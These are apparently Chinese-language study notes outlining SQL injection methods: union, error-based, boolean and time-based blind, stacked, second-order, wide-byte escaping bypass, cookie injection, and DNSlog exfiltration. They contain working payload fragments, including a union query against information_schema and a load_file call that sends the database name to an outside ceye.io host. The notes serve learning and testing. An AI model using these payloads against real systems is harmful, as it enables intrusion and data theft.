原理:web程序未对用户提交参数进行过滤,导致参数被拼接到sql语句在数据库被执行
测试方法:寻找可控参数使用单引号,and 1=1和and 1=2手工判断或使用工具
修复
mysql相关知识:mysql5之后,存在infomation_schema数据库
注入点判断
判断注入位置
判断数据类型
判断是否网页显示
其他类型
常用函数集合
原理:语句 union sql语句
union可以一次显示两个查询结果,但两个语句字段数需要一样
流程
#一般格式
?id=-999' union select 1,2,group_concat(table_name) form information_schema.tables where table_schema=database()#
原理:在union注入基础上没有回显位,需要报错查询
测试:多种函数可报错
原理:开发者屏蔽报错信息,不能在网页回显,and 1或and 0页面返回无变化
测试:基于真假进行判断
判断注入if()
if(length>1,1,0)
长度判断length()
length(database())>1
字符判断substr()
substr(database(),1,1)=‘a’
ascii码判断ascii()
ascii(substr(database(),1,1))>1
原理:开发者屏蔽报错信息,不能在网页回显,and 1或and 0页面返回无变化
测试:基于延迟时间进行判断
sleep(8)
benchmark(1e8,md5(1))
将boolean盲注中的true判断变为延时函数即可
原理:sql语句加;后再跟其他sql语句一起执行
后端代码中使用了mysql_multi_query
原理:数据库插入数据是只使用了addslashes()或者get_magic_quotes_gpc转义,导致被插入数据库的数据是原始数据
利用:常见在注册等进行存入数据操作界面
在语句后加入单引号等可造成闭合导致再次修改原数据时修改的是闭合后的数据
原理:代码层进行了解码
常见base64_decode()
原理:英文默认一个字节,中文默认两个字节数据库和代码设置不同编码导致
利用:数据库使用GBK或者Big5编码,存在addslashes()等函数转义
使用%df来和%5c组合为汉字绕过绕过转义
%5c是\
原理:php低版本及asp中$_REQUEST接收传参顺序是GET/POST/COOKIE
还有一种情况就是专门接受了cookie参数并放到数据库进行查询
利用:只是换了注入位置,其他一样
原理:有控制数据库区读取文件的权限,利用load_file(concat("\\\\",(select database()),".xxx.ceye.io\\abc"));
利用:
\\\\xxxx.com/txt
四个反斜杠的原因是因为将反斜杠做转义能够加快延时读取速度